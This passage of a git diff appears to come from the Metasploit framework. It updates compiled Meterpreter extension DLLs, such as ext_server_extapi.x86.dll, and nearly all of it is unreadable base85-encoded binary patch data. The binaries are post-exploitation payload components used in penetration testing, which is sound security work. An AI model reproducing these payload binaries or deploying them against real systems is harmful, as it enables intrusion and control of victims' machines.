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 Bqm%#u diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll index e6f45b768bef4d0760df61063023fee50457a2b9..e297c627c252ebc1e856e42610b34c092b5f10c4 100755 GIT binary patch delta 46071 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 